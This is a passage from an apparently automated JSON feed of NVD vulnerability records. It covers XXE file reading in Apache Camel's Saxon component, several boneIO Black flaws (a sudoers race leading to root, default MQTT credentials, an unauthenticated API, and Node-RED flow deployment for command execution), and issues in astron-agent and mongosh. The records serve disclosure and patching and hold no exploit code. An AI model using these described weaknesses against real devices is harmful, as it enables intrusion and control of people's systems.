the parser against external entities, so those bodies were not affected. A body that was already a Source, however, was handed to Saxon unchanged, and when that Source still had to be parsed, as a stream-based Source does, Saxon parsed it with that Configuration, bypassing the protection applied to the other body types. Such a body arises, for example, after a route converts the message with convertBodyTo(Source.class), or when a component or processor earlier in the route sets the body to a stream-based Source. A DOCTYPE with an external subset, or an external entity, declared in that body was therefore resolved and expanded into the document the expression was evaluated against. An external sender whose XML reaches an XQuery expression or an xquery endpoint in that form could read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since the default Configuration is used whenever the route does not supply one of its own.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.2. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, as well as the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on them must","detail":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.2.\n\n\n\nXQueryBuilder in camel-saxon, which evaluates expressions for the xquery language and the xquery component, built its default Saxon Configuration with parse options that set only a whitespace stripping rule, leaving the XML parser at its defaults, under which a DOCTYPE declaration is accepted and external entities are resolved. A message body of type String or byte[], or any body read as an InputStream, is first turned into a javax.xml.transform.Source by Camel's own XML type converters, which configure the parser against external entities, so those bodies were not affected. A body that was already a Source, however, was handed to Saxon unchanged, and when that Source still had to be parsed, as a stream-based Source does, Saxon parsed it with that Configuration, bypassing the protection applied to the other body types. Such a body arises, for example, after a route converts the message with convertBodyTo(Source.class), or when a component or processor earlier in the route sets the body to a stream-based Source. A DOCTYPE with an external subset, or an external entity, declared in that body was therefore resolved and expanded into the document the expression was evaluated against. An external sender whose XML reaches an XQuery expression or an xquery endpoint in that form could read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since the default Configuration is used whenever the route does not supply one of its own.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.2. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, as well as the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on them must move to a supported release. For deployments that cannot upgrade immediately, do not evaluate XQuery over a message body that is already a javax.xml.transform.Source when that body carries XML from an untrusted sender, or set the configuration option of the xquery endpoint or language to a Saxon Configuration whose parse options refuse a DOCTYPE declaration and disable external entities and external DTD loading, which is what the fixed releases now apply by default.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:45.430Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90885","asOf":"2026-10-26T16:54:08.707Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90885","type":"primary","publishedAt":"2026-10-26T15:16:45.430Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77059","cveId":"CVE-2026-77059","aliases":[],"kind":"vulnerability","title":"boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py.","summary":"boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py. The function writes sudoers rules to a predictable temporary file, validates them, then installs them with root privileges. A local attacker can exploit the race window between validation and installation to substitute malicious content, or use the predictable filename for symlink attacks, resulting in arbitrary sudoers rule injection and local privilege escalation to root.\n\nThis issue was fixed in version 1.6.0.","detail":"boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py. The function writes sudoers rules to a predictable temporary file, validates them, then installs them with root privileges. A local attacker can exploit the race window between validation and installation to substitute malicious content, or use the predictable filename for symlink attacks, resulting in arbitrary sudoers rule injection and local privilege escalation to root.\n\nThis issue was fixed in version 1.6.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:43.787Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77059","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77059","type":"primary","publishedAt":"2026-10-26T15:16:43.787Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77056","cveId":"CVE-2026-77056","aliases":[],"kind":"vulnerability","title":"boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices.","summary":"boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices. These credentials are publicly documented on github, and there is no indication in the instructions to change them. A remote attacker can use them to gain full read and write access to the broker, allowing control of connected relays, blinds, and gates, and injection of fake entities into a linked Home Assistant installation.\n\nThis issue was fixed in version 1.6.0 of the image: MQTT passwords are generated per device at first boot. Devices upgraded from earlier versions keep their existing broker credentials; from boneio 1.6.0 the web panel reports credentials that are still the published defaults, and the owner has to change them.","detail":"boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices. These credentials are publicly documented on github, and there is no indication in the instructions to change them. A remote attacker can use them to gain full read and write access to the broker, allowing control of connected relays, blinds, and gates, and injection of fake entities into a linked Home Assistant installation.\n\nThis issue was fixed in version 1.6.0 of the image: MQTT passwords are generated per device at first boot. Devices upgraded from earlier versions keep their existing broker credentials; from boneio 1.6.0 the web panel reports credentials that are still the published defaults, and the owner has to change them.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:43.260Z","updatedAt":"2026-10-26T17:17:29.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77056","asOf":"2026-10-26T17:17:29.727Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77056","type":"primary","publishedAt":"2026-10-26T15:16:43.260Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77053","cveId":"CVE-2026-77053","aliases":[],"kind":"vulnerability","title":"boneIO Black firmware ships with authentication disabled by default.","summary":"boneIO Black firmware ships with authentication disabled by default. Its management web API listens on all network interfaces and exposes all endpoints without requiring credentials. An unauthenticated remote attacker can fully control the device, causing denial of service, modifying configuration, and operating connected physical circuits.\nThis issue was fixed in version 1.6.0: a device without an administrator account refuses API requests until the owner creates one in the first-run wizard, and every API route is restricted to an authenticated role.\n\nVersions before 1.2.0 are based on Debian 10, are no longer supported and cannot be upgraded in place; affected devices should be re-flashed with the 1.6.0 system image.","detail":"boneIO Black firmware ships with authentication disabled by default. Its management web API listens on all network interfaces and exposes all endpoints without requiring credentials. An unauthenticated remote attacker can fully control the device, causing denial of service, modifying configuration, and operating connected physical circuits.\nThis issue was fixed in version 1.6.0: a device without an administrator account refuses API requests until the owner creates one in the first-run wizard, and every API route is restricted to an authenticated role.\n\nVersions before 1.2.0 are based on Debian 10, are no longer supported and cannot be upgraded in place; affected devices should be re-flashed with the 1.6.0 system image.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:42.827Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77053","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77053","type":"primary","publishedAt":"2026-10-26T15:16:42.827Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77052","cveId":"CVE-2026-77052","aliases":[],"kind":"vulnerability","title":"boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy.","summary":"boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve remote code execution and gain full control over the home automation system.\n\n\nThis issue was fixed in version 1.6.0.","detail":"boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve remote code execution and gain full control over the home automation system.\n\n\nThis issue was fixed in version 1.6.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:42.660Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77052","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77052","type":"primary","publishedAt":"2026-10-26T15:16:42.660Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116339","cveId":"CVE-2026-116339","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL...","summary":"A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL Whitelist Handler. This manipulation causes incomplete blacklist. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL Whitelist Handler. This manipulation causes incomplete blacklist. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:39.820Z","updatedAt":"2026-10-26T17:17:25.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116339","asOf":"2026-10-26T17:17:25.797Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116339","type":"primary","publishedAt":"2026-10-26T15:16:39.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115930","cveId":"CVE-2026-115930","aliases":[],"kind":"vulnerability","title":"The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store.","summary":"The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store. This certificate store has the recoverable eMudhra intermediate CA certificates. This issue impacts MongoDB Shell (mongosh) versions prior to 2.14.0 and can be resolved by updating to mongosh 2.14.0 which bundles Node.js 24.22.1 or later. If mongosh is installed through npm, it uses the Node.js runtime installed on the host; update that runtime separately.","detail":"The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store. This certificate store has the recoverable eMudhra intermediate CA certificates. This issue impacts MongoDB Shell (mongosh) versions prior to 2.14.0 and can be resolved by updating to mongosh 2.14.0 which bundles Node.js 24.22.1 or later. If mongosh is installed through npm, it uses the Node.js runtime installed on the host; update that runtime separately.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 